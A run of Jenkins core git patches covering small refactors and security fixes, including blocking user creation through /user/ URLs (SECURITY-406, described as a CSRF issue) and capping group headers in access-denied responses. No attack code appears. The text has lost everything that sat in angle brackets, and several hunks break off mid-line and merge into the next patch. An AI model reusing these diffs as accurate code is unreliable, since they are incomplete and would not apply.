10193b80a9c4de14a5b4ebdd7663b7c753641440 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 11 Jan 2017 19:16:57 -0500 Subject: [PATCH 558/712] Switching to SystemProperties. --- core/src/main/java/hudson/console/ConsoleNote.java | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index f44b7b6db6..1f6caad754 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -53,6 +53,7 @@ import com.jcraft.jzlib.GZIPInputStream; import com.jcraft.jzlib.GZIPOutputStream; import hudson.remoting.ClassFilter; import jenkins.security.HMACConfidentialKey; +import jenkins.util.SystemProperties; /** * Data that hangs off from a console output. @@ -128,7 +129,7 @@ public abstract class ConsoleNote implements Serializable, Describable Date: Thu, 19 Jan 2017 10:51:01 -0500 Subject: [PATCH 559/712] encryptedValueStaysTheSameAfterRoundtrip was failing in Jenkins 2 since the sidepanel is no longer displayed on the configuration screen. --- test/src/test/java/hudson/util/SecretCompatTest.java | 1 + 1 file changed, 1 insertion(+) diff --git a/test/src/test/java/hudson/util/SecretCompatTest.java b/test/src/test/java/hudson/util/SecretCompatTest.java index 8c440c4ff9..dc15312bfb 100644 --- a/test/src/test/java/hudson/util/SecretCompatTest.java +++ b/test/src/test/java/hudson/util/SecretCompatTest.java @@ -70,6 +70,7 @@ public class SecretCompatTest { public void encryptedValueStaysTheSameAfterRoundtrip() throws Exception { FreeStyleProject project = j.createFreeStyleProject(); project.addProperty(new ParametersDefinitionProperty(new PasswordParameterDefinition("p", "s3cr37", "Keep this a secret"))); + project.getAllActions(); // initialize Actionable.actions; otherwise first made nonnull while rendering sidepanel after redirect after round #1 has been saved, so only round #2 has project = j.configRoundtrip(project); String round1 = project.getConfigFile().asString(); project = j.configRoundtrip(project); -- GitLab From 1c6a92faffa5b1af157e2fff4dd82bca96215cf7 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 10 Jan 2017 17:30:23 -0500 Subject: [PATCH 560/712] Can now use @Issue with String[]. --- .../java/jenkins/security/s2m/AdminFilePathFilterTest.java | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/test/src/test/java/jenkins/security/s2m/AdminFilePathFilterTest.java b/test/src/test/java/jenkins/security/s2m/AdminFilePathFilterTest.java index 4df4df76ca..80d137d6a2 100644 --- a/test/src/test/java/jenkins/security/s2m/AdminFilePathFilterTest.java +++ b/test/src/test/java/jenkins/security/s2m/AdminFilePathFilterTest.java @@ -30,6 +30,7 @@ import static org.junit.Assert.*; import org.junit.Before; import org.junit.Rule; import org.junit.Test; +import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; public class AdminFilePathFilterTest { @@ -46,7 +47,7 @@ public class AdminFilePathFilterTest { rule.setMasterKillSwitch(false); } - // TODO in master when using a version taking a String[]: @Issue({"JENKINS-27055", "SECURITY-358"}) + @Issue({"JENKINS-27055", "SECURITY-358"}) @Test public void matchBuildDir() throws Exception { File buildDir = r.buildAndAssertSuccess(r.createFreeStyleProject()).getRootDir(); -- GitLab From 8fe2b361259d4ef14e9257ebca47d12de16e05ab Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 11 Jan 2017 19:26:45 -0500 Subject: [PATCH 561/712] Updated comment. --- core/src/test/java/hudson/console/AnnotatedLargeTextTest.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/test/java/hudson/console/AnnotatedLargeTextTest.java b/core/src/test/java/hudson/console/AnnotatedLargeTextTest.java index 9456b1f398..a2247aa096 100644 --- a/core/src/test/java/hudson/console/AnnotatedLargeTextTest.java +++ b/core/src/test/java/hudson/console/AnnotatedLargeTextTest.java @@ -45,7 +45,7 @@ public class AnnotatedLargeTextTest { @Rule public ConfidentialStoreRule confidentialStoreRule = new ConfidentialStoreRule(); - /* TODO in trunk: + /* TODO defined in jenkins-test-harness and so not available from tests in core module; use if moved to test module: @Rule public LoggerRule logging = new LoggerRule().record(ConsoleAnnotationOutputStream.class, Level.FINE).capture(100); */ -- GitLab From 3a6c679c9e74f70f8e33cf97fc90bac5ffbd0733 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 18 Jan 2017 13:41:50 -0500 Subject: [PATCH 562/712] Updated some TODO comments. --- .../java/jenkins/security/CryptoConfidentialKey.java | 10 +++++----- test/src/test/java/lib/form/PasswordTest.java | 3 +-- 2 files changed, 6 insertions(+), 7 deletions(-) diff --git a/core/src/main/java/jenkins/security/CryptoConfidentialKey.java b/core/src/main/java/jenkins/security/CryptoConfidentialKey.java index f402706013..836e71dd69 100644 --- a/core/src/main/java/jenkins/security/CryptoConfidentialKey.java +++ b/core/src/main/java/jenkins/security/CryptoConfidentialKey.java @@ -21,7 +21,7 @@ import java.security.GeneralSecurityException; * @since 1.498 */ public class CryptoConfidentialKey extends ConfidentialKey { - @Restricted(NoExternalUse.class) //TODO remove when in mainline + @Restricted(NoExternalUse.class) // TODO pending API public static final int DEFAULT_IV_LENGTH = 16; private volatile SecretKey secret; @@ -74,7 +74,7 @@ public class CryptoConfidentialKey extends ConfidentialKey { * @param iv the initialization vector * @return the cipher */ - @Restricted(NoExternalUse.class) //TODO remove when in mainline + @Restricted(NoExternalUse.class) // TODO pending API public Cipher encrypt(byte[] iv) { try { Cipher cipher = Secret.getCipher(ALGORITHM); @@ -90,7 +90,7 @@ public class CryptoConfidentialKey extends ConfidentialKey { * @param iv the initialization vector * @return the cipher */ - @Restricted(NoExternalUse.class) //TODO remove when in mainline + @Restricted(NoExternalUse.class) // TODO pending ApI public Cipher decrypt(byte[] iv) { try { Cipher cipher = Secret.getCipher(ALGORITHM); @@ -107,7 +107,7 @@ public class CryptoConfidentialKey extends ConfidentialKey { * @return some random bytes * @see #encrypt(byte[]) */ - @Restricted(NoExternalUse.class) //TODO remove when in mainline + @Restricted(NoExternalUse.class) // TODO pending API public byte[] newIv(int length) { return ConfidentialStore.get().randomBytes(length); } @@ -118,7 +118,7 @@ public class CryptoConfidentialKey extends ConfidentialKey { * @see #newIv(int) * @see #encrypt(byte[]) */ - @Restricted(NoExternalUse.class) //TODO remove when in mainline + @Restricted(NoExternalUse.class) // TODO pending API public byte[] newIv() { return newIv(DEFAULT_IV_LENGTH); } diff --git a/test/src/test/java/lib/form/PasswordTest.java b/test/src/test/java/lib/form/PasswordTest.java index 3cb91a47d1..c9c893fc56 100644 --- a/test/src/test/java/lib/form/PasswordTest.java +++ b/test/src/test/java/lib/form/PasswordTest.java @@ -77,8 +77,7 @@ public class PasswordTest extends HudsonTestCase implements Describable {} - // TODO in trunk switch to @Issue({"SECURITY-266","SECURITY-304"}) - @Issue("SECURITY-266, SECURITY-304") + @Issue({"SECURITY-266", "SECURITY-304"}) public void testExposedCiphertext() throws Exception { boolean saveEnabled = Item.EXTENDED_READ.getEnabled(); try { -- GitLab From 0a11e21d14cb9f5aa1d97e158619db47db4cb971 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Thu, 19 Jan 2017 18:26:51 +0100 Subject: [PATCH 563/712] [SECURITY-406] Prevent user creation via GET /user/whatever --- core/src/main/java/hudson/model/User.java | 16 ++++++++++ core/src/main/java/jenkins/model/Jenkins.java | 2 +- .../test/java/jenkins/model/JenkinsTest.java | 30 +++++++++++++++++++ 3 files changed, 47 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/User.java b/core/src/main/java/hudson/model/User.java index b8c70b4555..dd3fd4444e 100644 --- a/core/src/main/java/hudson/model/User.java +++ b/core/src/main/java/hudson/model/User.java @@ -1078,5 +1078,21 @@ public class User extends AbstractModelObject implements AccessControlled, Descr * JENKINS-22346. */ public static boolean ALLOW_NON_EXISTENT_USER_TO_LOGIN = Boolean.getBoolean(User.class.getName()+".allowNonExistentUserToLogin"); + + + /** + * Jenkins historically created a (usually) ephemeral user record when an user with Overall/Administer permission + * accesses a /user/arbitraryName URL. + *

                                        + * Unfortunately this constitutes a CSRF vulnerability, as malicious users can make admins create arbitrary numbers + * of ephemeral user records, so the behavior was changed in Jenkins 2.TODO / 2.32.2. + *

                                        + * As some users may be relying on the previous behavior, setting this to true restores the previous behavior. This + * is not recommended. + * + * SECURITY-406. + */ + @Restricted(NoExternalUse.class) + public static boolean ALLOW_USER_CREATION_VIA_URL = Boolean.getBoolean(User.class.getName() + ".allowUserCreationViaUrl"); } diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 5d45327007..faa2da5314 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -2489,7 +2489,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * @see User#get(String,boolean), {@link User#getById(String, boolean)} */ public @CheckForNull User getUser(String name) { - return User.get(name,hasPermission(ADMINISTER)); + return User.get(name, User.ALLOW_USER_CREATION_VIA_URL && hasPermission(ADMINISTER)); } public synchronized TopLevelItem createProject( TopLevelItemDescriptor type, String name ) throws IOException { diff --git a/test/src/test/java/jenkins/model/JenkinsTest.java b/test/src/test/java/jenkins/model/JenkinsTest.java index 6664193d57..fa5d778692 100644 --- a/test/src/test/java/jenkins/model/JenkinsTest.java +++ b/test/src/test/java/jenkins/model/JenkinsTest.java @@ -26,6 +26,7 @@ package jenkins.model; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.containsString; import static org.hamcrest.Matchers.equalTo; +import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertTrue; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertEquals; @@ -81,6 +82,35 @@ public class JenkinsTest { @Rule public JenkinsRule j = new JenkinsRule(); + @Issue("SECURITY-406") + @Test + public void testUserCreationFromUrlForAdmins() throws Exception { + WebClient wc = j.createWebClient(); + + assertNull("User not supposed to exist", User.getById("nonexistent", false)); + + try { + wc.goTo("user/nonexistent"); + fail("expected exception"); + } catch (FailingHttpStatusCodeException ex) { + assertEquals("expect 404", 404, ex.getStatusCode()); + } + + assertNull("User not supposed to exist", User.getById("nonexistent", false)); + + try { + User.ALLOW_USER_CREATION_VIA_URL = true; + + // expected to work + wc.goTo("user/nonexistent2"); + + assertNotNull("User supposed to exist", User.getById("nonexistent2", false)); + + } finally { + User.ALLOW_USER_CREATION_VIA_URL = false; + } + } + @Test public void testIsDisplayNameUniqueTrue() throws Exception { final String curJobName = "curJobName"; -- GitLab From 4036ca2fa00d204caffd58f030a9c1cf3bd2801a Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Thu, 19 Jan 2017 18:38:45 +0100 Subject: [PATCH 564/712] [SECURITY-406] Address review comments --- core/src/main/java/hudson/model/User.java | 1 + core/src/main/java/jenkins/model/Jenkins.java | 2 +- test/src/test/java/jenkins/model/JenkinsTest.java | 9 +-------- 3 files changed, 3 insertions(+), 9 deletions(-) diff --git a/core/src/main/java/hudson/model/User.java b/core/src/main/java/hudson/model/User.java index dd3fd4444e..8f850bc308 100644 --- a/core/src/main/java/hudson/model/User.java +++ b/core/src/main/java/hudson/model/User.java @@ -1092,6 +1092,7 @@ public class User extends AbstractModelObject implements AccessControlled, Descr * * SECURITY-406. */ + // TODO 2.4+ SystemProperties @Restricted(NoExternalUse.class) public static boolean ALLOW_USER_CREATION_VIA_URL = Boolean.getBoolean(User.class.getName() + ".allowUserCreationViaUrl"); } diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index faa2da5314..4a433ce90d 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -2485,7 +2485,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve /** * Gets the user of the given name. * - * @return the user of the given name (which may or may not be an id), if that person exists or the invoker {@link #hasPermission} on {@link #ADMINISTER}; else null + * @return the user of the given name (which may or may not be an id), if that person exists; else null * @see User#get(String,boolean), {@link User#getById(String, boolean)} */ public @CheckForNull User getUser(String name) { diff --git a/test/src/test/java/jenkins/model/JenkinsTest.java b/test/src/test/java/jenkins/model/JenkinsTest.java index fa5d778692..201ce15856 100644 --- a/test/src/test/java/jenkins/model/JenkinsTest.java +++ b/test/src/test/java/jenkins/model/JenkinsTest.java @@ -88,14 +88,7 @@ public class JenkinsTest { WebClient wc = j.createWebClient(); assertNull("User not supposed to exist", User.getById("nonexistent", false)); - - try { - wc.goTo("user/nonexistent"); - fail("expected exception"); - } catch (FailingHttpStatusCodeException ex) { - assertEquals("expect 404", 404, ex.getStatusCode()); - } - + wc.assertFails("user/nonexistent", 404); assertNull("User not supposed to exist", User.getById("nonexistent", false)); try { -- GitLab From 23f5a98677805dc034c0852733c8842aa7144385 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Tue, 24 Jan 2017 13:28:44 +0100 Subject: [PATCH 565/712] Avoid the use of apt-maven-plugin as it does not seem to contribute to release in any way --- core/pom.xml | 12 ------------ pom.xml | 5 ----- 2 files changed, 17 deletions(-) diff --git a/core/pom.xml b/core/pom.xml index 9455e117c2..9d07f66f5f 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -852,18 +852,6 @@ THE SOFTWARE. release - - com.mysema.maven - apt-maven-plugin - - - - - process - - - - - 2.14 + 2.14.1-20170124.191714-1 1.4.1 0.11 ${skipTests} -- GitLab From 9fb6ccf21e325e66091fdbdbb4679f37fb1f086d Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Tue, 24 Jan 2017 23:40:19 +0100 Subject: [PATCH 568/712] Fix copy paste error --- changelog.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 380bd7411b..781adb6a45 100644 --- a/changelog.html +++ b/changelog.html @@ -104,7 +104,7 @@ Upcoming changes

                                      • Prevent the ClassNotFoundException: javax.servlet.ServletException error when invoking shell tasks on remote agents. - (issue 39268) + (issue 40863)
                                      • Jobs were hanging during process termination on the Solaris 11 Intel platform. (issue 40470, regression in 2.20) -- GitLab From 696d2259e94347024db6e261894d4f84346b076c Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 24 Jan 2017 19:05:20 -0500 Subject: [PATCH 569/712] Switching to ACL.as. --- test/src/test/java/hudson/model/NodeTest.java | 24 ++++++------------- 1 file changed, 7 insertions(+), 17 deletions(-) diff --git a/test/src/test/java/hudson/model/NodeTest.java b/test/src/test/java/hudson/model/NodeTest.java index 5668aec8a6..5accdc489a 100644 --- a/test/src/test/java/hudson/model/NodeTest.java +++ b/test/src/test/java/hudson/model/NodeTest.java @@ -35,6 +35,7 @@ import hudson.model.Queue.WaitingItem; import hudson.model.labels.*; import hudson.model.queue.CauseOfBlockage; import hudson.security.ACL; +import hudson.security.ACLContext; import hudson.security.GlobalMatrixAuthorizationStrategy; import hudson.security.HudsonPrivateSecurityRealm; import hudson.security.Permission; @@ -51,15 +52,12 @@ import java.util.*; import java.util.concurrent.Callable; import jenkins.model.Jenkins; -import jenkins.security.NotReallyRoleSensitiveCallable; import jenkins.security.QueueItemAuthenticatorConfiguration; -import org.acegisecurity.Authentication; import org.acegisecurity.context.SecurityContextHolder; import static org.hamcrest.core.StringEndsWith.endsWith; import static org.junit.Assert.*; -import org.jenkinsci.remoting.RoleChecker; import org.junit.Before; import org.junit.Rule; import org.junit.Test; @@ -133,13 +131,9 @@ public class NodeTest { Node node = j.createOnlineSlave(); final Computer computer = node.toComputer(); OfflineCause.UserCause cause; - ACL.impersonate(Jenkins.ANONYMOUS, new NotReallyRoleSensitiveCallable() { - @Override - public Void call() throws Exception { - computer.doToggleOffline("original message"); - return null; - } - }); + try (ACLContext ctxt = ACL.as(Jenkins.ANONYMOUS)) { + computer.doToggleOffline("original message"); + } cause = (UserCause) computer.getOfflineCause(); assertThat(cause.toString(), endsWith("Disconnected by anonymous : original message")); @@ -147,13 +141,9 @@ public class NodeTest { final User root = User.get("root@localhost"); - ACL.impersonate(root.impersonate(), new NotReallyRoleSensitiveCallable() { - @Override - public Void call() throws Exception { - computer.doChangeOfflineCause("new message"); - return null; - } - }); + try (ACLContext ctxt = ACL.as(root.impersonate())) { + computer.doChangeOfflineCause("new message"); + } cause = (UserCause) computer.getOfflineCause(); assertThat(cause.toString(), endsWith("Disconnected by root@localhost : new message")); assertEquals(root, cause.getUser()); -- GitLab From 2527e66dd8f9dd23a2571f8bd8f2918edf6fc0cd Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 25 Jan 2017 13:23:21 -0500 Subject: [PATCH 570/712] [SECURITY-382] Be more compatible with maven-plugin. --- core/src/main/java/hudson/console/ConsoleNote.java | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index f44b7b6db6..d80713762f 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -191,9 +191,11 @@ public abstract class ConsoleNote implements Serializable, Describable Date: Wed, 25 Jan 2017 14:43:33 -0500 Subject: [PATCH 571/712] Rearranged tests now that ConsoleNote.encodeToBytes pays attention to Jenkins.instance. --- .../main/java/jenkins/security/ConfidentialStore.java | 6 ++---- core/src/test/java/hudson/model/TaskActionTest.java | 10 ++-------- .../java/jenkins/security/ConfidentialStoreRule.java | 7 +++++-- .../java/hudson/console/AnnotatedLargeTextTest.java | 10 +++++----- 4 files changed, 14 insertions(+), 19 deletions(-) rename {core => test}/src/test/java/hudson/console/AnnotatedLargeTextTest.java (96%) diff --git a/core/src/main/java/jenkins/security/ConfidentialStore.java b/core/src/main/java/jenkins/security/ConfidentialStore.java index 3e8e3b4b4d..9b3efdbec6 100644 --- a/core/src/main/java/jenkins/security/ConfidentialStore.java +++ b/core/src/main/java/jenkins/security/ConfidentialStore.java @@ -61,9 +61,7 @@ public abstract class ConfidentialStore { * Retrieves the currently active singleton instance of {@link ConfidentialStore}. */ public static @Nonnull ConfidentialStore get() { - if (TEST != null) { - return TEST; - } + if (TEST!=null) return TEST.get(); Jenkins j = Jenkins.getInstance(); if (j == null) { @@ -97,7 +95,7 @@ public abstract class ConfidentialStore { /** * Testing only. Used for testing {@link ConfidentialKey} without {@link Jenkins} */ - /*package*/ static ConfidentialStore TEST = null; + /*package*/ static ThreadLocal TEST = null; private static final Logger LOGGER = Logger.getLogger(ConfidentialStore.class.getName()); } diff --git a/core/src/test/java/hudson/model/TaskActionTest.java b/core/src/test/java/hudson/model/TaskActionTest.java index 8b86e0ca93..ec31498e07 100644 --- a/core/src/test/java/hudson/model/TaskActionTest.java +++ b/core/src/test/java/hudson/model/TaskActionTest.java @@ -1,16 +1,13 @@ package hudson.model; -import static org.junit.Assert.*; +import static org.junit.Assert.assertTrue; import java.io.ByteArrayOutputStream; import hudson.console.AnnotatedLargeText; import hudson.security.ACL; import hudson.security.Permission; -import jenkins.security.ConfidentialStoreRule; import org.acegisecurity.Authentication; -import static org.hamcrest.CoreMatchers.startsWith; -import org.junit.Rule; import org.junit.Test; /** @@ -18,9 +15,6 @@ import org.junit.Test; */ public class TaskActionTest { - @Rule - public ConfidentialStoreRule confidentialStoreRule = new ConfidentialStoreRule(); - private static class MyTaskThread extends TaskThread { MyTaskThread(TaskAction taskAction) { super(taskAction, ListenerAndText.forMemory(taskAction)); @@ -69,6 +63,6 @@ public class TaskActionTest { } ByteArrayOutputStream os = new ByteArrayOutputStream(); annotatedText.writeLogTo(0, os); - assertThat(os.toString("UTF-8"), startsWith("a linkCompleted")); + assertTrue(os.toString("UTF-8").startsWith("a linkCompleted")); } } diff --git a/core/src/test/java/jenkins/security/ConfidentialStoreRule.java b/core/src/test/java/jenkins/security/ConfidentialStoreRule.java index c42c8e6b7b..db46255ba6 100644 --- a/core/src/test/java/jenkins/security/ConfidentialStoreRule.java +++ b/core/src/test/java/jenkins/security/ConfidentialStoreRule.java @@ -14,13 +14,16 @@ public class ConfidentialStoreRule extends ExternalResource { @Override protected void before() throws Throwable { tmp.create(); - ConfidentialStore.TEST = new DefaultConfidentialStore(tmp.getRoot()); + ConfidentialStore.TEST.set(new DefaultConfidentialStore(tmp.getRoot())); } @Override protected void after() { - ConfidentialStore.TEST = null; + ConfidentialStore.TEST.set(null); tmp.delete(); } + static { + ConfidentialStore.TEST = new ThreadLocal(); + } } diff --git a/core/src/test/java/hudson/console/AnnotatedLargeTextTest.java b/test/src/test/java/hudson/console/AnnotatedLargeTextTest.java similarity index 96% rename from core/src/test/java/hudson/console/AnnotatedLargeTextTest.java rename to test/src/test/java/hudson/console/AnnotatedLargeTextTest.java index 9456b1f398..0035a9c789 100644 --- a/core/src/test/java/hudson/console/AnnotatedLargeTextTest.java +++ b/test/src/test/java/hudson/console/AnnotatedLargeTextTest.java @@ -29,23 +29,23 @@ import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.PrintStream; import java.io.StringWriter; -import jenkins.security.ConfidentialStoreRule; import org.apache.commons.io.Charsets; import static org.hamcrest.CoreMatchers.*; import static org.junit.Assert.*; +import org.junit.ClassRule; import org.junit.Test; -import org.junit.Rule; import org.jvnet.hudson.test.For; import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; import org.kohsuke.stapler.framework.io.ByteBuffer; @For({AnnotatedLargeText.class, ConsoleNote.class, ConsoleAnnotationOutputStream.class, PlainTextConsoleOutputStream.class}) public class AnnotatedLargeTextTest { - @Rule - public ConfidentialStoreRule confidentialStoreRule = new ConfidentialStoreRule(); + @ClassRule + public static JenkinsRule r = new JenkinsRule(); - /* TODO in trunk: + /* TODO in master: @Rule public LoggerRule logging = new LoggerRule().record(ConsoleAnnotationOutputStream.class, Level.FINE).capture(100); */ -- GitLab From 431140e62b6d62693a06dfb1e4f84268f06b30d1 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 25 Jan 2017 15:40:31 -0500 Subject: [PATCH 572/712] Using Jenkins.getInstanceOrNull. --- core/src/main/java/hudson/console/ConsoleNote.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index 7adf858296..1bc7dae465 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -192,7 +192,7 @@ public abstract class ConsoleNote implements Serializable, Describable Date: Wed, 25 Jan 2017 15:42:14 -0500 Subject: [PATCH 573/712] Revert "[SECURITY-382] Pick up a fix to maven-plugin." This reverts commit 4c1a23d9e1b711388beb6e2ab10569b7afde495a. No longer needed as of 2527e66dd8f9dd23a2571f8bd8f2918edf6fc0cd. --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index 305489d8d4..9f86ae405f 100644 --- a/pom.xml +++ b/pom.xml @@ -92,7 +92,7 @@ THE SOFTWARE. jenkins-jira 1.7.7 - 2.14.1-20170124.191714-1 + 2.14 1.4.1 0.11 ${skipTests} -- GitLab From a26d71153d7609094e449d371d3ab0f8415b887f Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Fri, 27 Jan 2017 14:25:06 +0100 Subject: [PATCH 574/712] [JENKINS-41511] Add a test showing the problem --- .../groovy/jenkins/bugs/Jenkins41511Test.java | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 test/src/test/groovy/jenkins/bugs/Jenkins41511Test.java diff --git a/test/src/test/groovy/jenkins/bugs/Jenkins41511Test.java b/test/src/test/groovy/jenkins/bugs/Jenkins41511Test.java new file mode 100644 index 0000000000..6f677865be --- /dev/null +++ b/test/src/test/groovy/jenkins/bugs/Jenkins41511Test.java @@ -0,0 +1,27 @@ +package jenkins.bugs; + +import org.junit.BeforeClass; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.JenkinsRule; + +import hudson.security.HudsonPrivateSecurityRealm; +import jenkins.model.Jenkins; + +public class Jenkins41511Test { + + @BeforeClass + public static void setUpClass() { + System.setProperty(Jenkins.class.getName()+".slaveAgentPort", "10000"); + System.setProperty(Jenkins.class.getName()+".slaveAgentPortEnforce", "true"); + } + + @Rule + public JenkinsRule j = new JenkinsRule(); + + @Test + public void configRoundTrip() throws Exception { + Jenkins.getInstance().setSecurityRealm(new HudsonPrivateSecurityRealm(true, false, null)); + j.submit(j.createWebClient().goTo("configureSecurity").getFormByName("config")); + } +} -- GitLab From 5b9c10d6b049c12dafaefea75178c5ed4bb7b9bc Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Fri, 27 Jan 2017 13:57:27 +0100 Subject: [PATCH 575/712] [JENKINS-41511] Don't try to set slaveAgentPort when it is enforced --- .../hudson/security/GlobalSecurityConfiguration.java | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java b/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java index c6db287dff..a7f6697463 100644 --- a/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java +++ b/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java @@ -79,7 +79,7 @@ public class GlobalSecurityConfiguration extends ManagementLink implements Descr * @since 2.24 * @return true if the slave agent port is enforced on this instance. */ - @Restricted(DoNotUse.class) // only for index.groovy + @Restricted(NoExternalUse.class) // only for index.groovy public boolean isSlaveAgentPortEnforced() { return Jenkins.getInstance().isSlaveAgentPortEnforced(); } @@ -114,10 +114,12 @@ public class GlobalSecurityConfiguration extends ManagementLink implements Descr j.setDisableRememberMe(security.optBoolean("disableRememberMe", false)); j.setSecurityRealm(SecurityRealm.all().newInstanceFromRadioList(security, "realm")); j.setAuthorizationStrategy(AuthorizationStrategy.all().newInstanceFromRadioList(security, "authorization")); - try { - j.setSlaveAgentPort(new ServerTcpPort(security.getJSONObject("slaveAgentPort")).getPort()); - } catch (IOException e) { - throw new hudson.model.Descriptor.FormException(e, "slaveAgentPortType"); + if (!isSlaveAgentPortEnforced()) { + try { + j.setSlaveAgentPort(new ServerTcpPort(security.getJSONObject("slaveAgentPort")).getPort()); + } catch (IOException e) { + throw new hudson.model.Descriptor.FormException(e, "slaveAgentPortType"); + } } Set agentProtocols = new TreeSet<>(); if (security.has("agentProtocol")) { -- GitLab From d6f7e4101f055e14009bc4407b508fe5457e69c0 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 27 Jan 2017 16:17:53 -0500 Subject: [PATCH 576/712] [FIXED JENKINS-39402] Cap the number of group headers printed by AccessDeniedException2. --- .../security/AccessDeniedException2.java | 13 +++- .../security/AccessDeniedException2Test.java | 73 +++++++++++++++++++ 2 files changed, 84 insertions(+), 2 deletions(-) create mode 100644 test/src/test/java/hudson/security/AccessDeniedException2Test.java diff --git a/core/src/main/java/hudson/security/AccessDeniedException2.java b/core/src/main/java/hudson/security/AccessDeniedException2.java index 0f5da052b2..70d119602b 100644 --- a/core/src/main/java/hudson/security/AccessDeniedException2.java +++ b/core/src/main/java/hudson/security/AccessDeniedException2.java @@ -12,6 +12,9 @@ import java.io.PrintWriter; * @author Kohsuke Kawaguchi */ public class AccessDeniedException2 extends AccessDeniedException { + + private static final int MAX_REPORTED_AUTHORITIES = 10; + /** * This object represents the user being authenticated. */ @@ -38,8 +41,14 @@ public class AccessDeniedException2 extends AccessDeniedException { */ public void reportAsHeaders(HttpServletResponse rsp) { rsp.addHeader("X-You-Are-Authenticated-As",authentication.getName()); - for (GrantedAuthority auth : authentication.getAuthorities()) { - rsp.addHeader("X-You-Are-In-Group",auth.getAuthority()); + GrantedAuthority[] authorities = authentication.getAuthorities(); + for (int i = 0; i < authorities.length; i++) { + if (i == MAX_REPORTED_AUTHORITIES) { + rsp.addHeader("X-You-Are-In-Group", "<" + (authorities.length - i) + " more>"); + break; + } else { + rsp.addHeader("X-You-Are-In-Group", authorities[i].getAuthority()); + } } rsp.addHeader("X-Required-Permission", permission.getId()); for (Permission p=permission.impliedBy; p!=null; p=p.impliedBy) { diff --git a/test/src/test/java/hudson/security/AccessDeniedException2Test.java b/test/src/test/java/hudson/security/AccessDeniedException2Test.java new file mode 100644 index 0000000000..7ccf1c83d5 --- /dev/null +++ b/test/src/test/java/hudson/security/AccessDeniedException2Test.java @@ -0,0 +1,73 @@ +/* + * The MIT License + * + * Copyright 2017 CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package hudson.security; + +import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; +import 